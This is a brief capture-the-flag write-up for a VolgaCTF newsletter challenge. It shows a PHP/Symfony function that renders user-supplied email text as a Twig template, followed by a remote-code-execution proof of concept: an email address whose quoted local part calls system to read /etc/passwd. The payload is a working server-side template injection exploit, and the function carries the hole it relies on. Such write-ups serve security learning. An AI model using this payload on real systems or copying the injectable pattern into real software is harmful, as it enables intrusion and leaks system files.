Vulnerable function:```    public function subscribe(Request $request, MailerInterface $mailer)    {      $msg = '';      $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);      if($email !== FALSE) {        $name = substr($email, 0, strpos($email, '@'));
        $content = $this->get('twig')->createTemplate(          "Hello ${name}.Thank you for subscribing to our newsletter.Regards, VolgaCTF Team"        )->render();
Hello ${name}.
Thank you for subscribing to our newsletter.
Regards, VolgaCTF Team
        $mail = (new Email())->from('[email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);        $mailer->send($mail);
        $msg = 'Success';      } else {        $msg = 'Invalid email';      }      return $this->render('main.twig', ['msg' => $msg]);    }``` RCE PoC: `email="{{['cat${IFS}/etc/passwd']|filter('system')}}"@your.domain`